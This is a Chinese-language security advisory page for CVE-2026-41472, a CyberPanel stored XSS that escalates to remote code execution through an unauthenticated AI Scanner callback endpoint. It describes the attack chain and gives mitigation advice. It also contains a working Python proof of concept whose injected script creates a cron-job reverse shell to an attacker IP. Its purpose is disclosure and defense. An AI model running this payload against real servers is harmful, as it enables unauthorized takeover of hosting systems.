IPBUF安全漏洞报告
English
CVE-2026-41472 CVSS 6.1 中危

CVE-2026-41472 CyberPanel存储型XSS致RCE漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41472
漏洞类型
存储型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
CyberPanel

相关标签

CyberPanelStored XSSRCECWE-79Authentication BypassCWE-306

漏洞概述

CyberPanel 2.4.4之前的版本在AI Scanner仪表板中存在严重的存储型跨站脚本(XSS)漏洞。该漏洞源于POST /api/ai-scanner/callback端点缺乏身份验证机制,允许未经身份验证的攻击者篡改ScanHistory记录的findings_json字段并注入恶意JavaScript代码。一旦管理员访问AI Scanner仪表板,恶意脚本将在其认证会话中执行,攻击者可利用同源请求植入计划任务,最终导致服务器被远程代码执行。

技术细节

该漏洞位于CyberPanel的AI扫描功能模块中。具体而言,系统处理扫描回调的API端点(/api/ai-scanner/callback)存在严重的访问控制缺陷,未对请求来源进行身份验证。攻击者可以利用这一点,向该端点发送特制的POST请求,修改数据库中ScanHistory记录的findings_json字段,将恶意的JavaScript代码注入其中。这是一个典型的存储型XSS场景。当拥有高权限的管理员用户登录系统并访问AI Scanner仪表板以查看扫描历史时,后端会从数据库读取被污染的findings_json数据,并在前端页面进行渲染。此时,注入的JavaScript代码将在管理员的浏览器上下文中执行。由于浏览器的同源策略(SOP),该脚本可以向CyberPanel的后台管理接口发送经过身份验证的请求。利用这一机制,攻击者可以通过脚本调用CyberPanel创建计划任务(Cron Job)的内部API。一旦计划任务被成功创建并写入系统,攻击者即可在服务器端执行任意操作系统命令,从而实现从存储型XSS到远程代码执行(RCE)的跨越,获取服务器的完全控制权。

攻击链分析

STEP 1
1. 漏洞探测
攻击者识别出目标CyberPanel版本低于2.4.4,并确认/api/ai-scanner/callback接口无需认证即可访问。
STEP 2
2. 注入Payload
攻击者构造包含恶意JavaScript代码的POST请求,发送至/api/ai-scanner/callback接口,覆盖ScanHistory记录中的findings_json字段。
STEP 3
3. 触发漏洞
当管理员用户登录后台并访问AI Scanner仪表板查看扫描结果时,受污染的findings_json数据被渲染,恶意脚本在管理员浏览器中执行。
STEP 4
4. 提权与执行
恶意脚本利用管理员会话权限,向内部API发送请求创建恶意的Cron Job(计划任务)。
STEP 5
5. 建立立足点
Cron Job在服务器端执行,攻击者获得服务器权限,实现远程代码执行(RCE)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-host:8090" attacker_ip = "192.168.1.100" # Replace with attacker IP # Malicious JavaScript payload # This payload attempts to create a cron job via an authenticated admin request # The specific API endpoint for cron creation may vary based on CyberPanel version js_payload = f""" <script> // Function to create a reverse shell cron job function createCron() {{ fetch('/manageserver/submitCron', {{ method: 'POST', headers: {{ 'Content-Type': 'application/x-www-form-urlencoded', }}, body: 'command=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{attacker_ip}%2F4444%200%3E%261&status=disabled&minute=*&hour=*&month=*&weekday=*&day=*' }}).then(response => console.log('Cron job request sent')) .catch(error => console.error('Error:', error)); }} createCron(); </script> """ # Data to inject into the findings_json field # The endpoint expects scan_id and findings_json exploit_data = { "scan_id": "1", # May need to be a valid ID or arbitrary depending on implementation "findings_json": js_payload } # Send the malicious payload to the unauthenticated endpoint try: response = requests.post(f"{target_url}/api/ai-scanner/callback", data=exploit_data, timeout=10) if response.status_code == 200: print("[+] Payload successfully injected. Wait for an admin to view the AI Scanner dashboard.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

CyberPanel < 2.4.4

防御指南

临时缓解措施
建议立即升级至CyberPanel 2.4.4或更高版本以修复漏洞。若无法立即升级,应临时限制对/api/ai-scanner/callback接口的访问权限,仅允许受信任的IP调用。同时,管理员应避免在未修复期间访问AI Scanner仪表板,或使用浏览器脚本拦截插件降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表